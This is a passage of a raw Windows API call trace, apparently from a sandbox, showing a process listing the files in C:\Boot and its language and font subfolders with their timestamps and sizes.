ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.022] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.022] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.022] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.022] GetProcessHeap () returned 0x550000 [0063.023] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.023] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0063.023] GetProcessHeap () returned 0x550000 [0063.023] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.023] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.023] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.024] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.024] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.024] GetProcessHeap () returned 0x550000 [0063.024] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.024] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0063.024] GetProcessHeap () returned 0x550000 [0063.024] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.025] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.025] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.025] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.025] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.025] GetProcessHeap () returned 0x550000 [0063.025] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.025] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0063.026] GetProcessHeap () returned 0x550000 [0063.026] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.026] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.026] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.026] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.027] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.027] GetProcessHeap () returned 0x550000 [0063.027] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.027] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0063.027] GetProcessHeap () returned 0x550000 [0063.027] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.027] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.028] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.028] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.028] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.028] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.028] GetProcessHeap () returned 0x550000 [0063.029] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.029] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0063.029] GetProcessHeap () returned 0x550000 [0063.029] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.029] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.029] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.030] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.030] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.030] GetProcessHeap () returned 0x550000 [0063.030] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.030] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0063.030] GetProcessHeap () returned 0x550000 [0063.030] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.031] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.031] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.031] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.031] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0063.031] GetProcessHeap () returned 0x550000 [0063.031] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0063.031] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0063.032] GetProcessHeap () returned 0x550000 [0063.032] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.032] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.032] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0063.032] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0063.033] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0063.033] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0063.033] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0063.033] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, 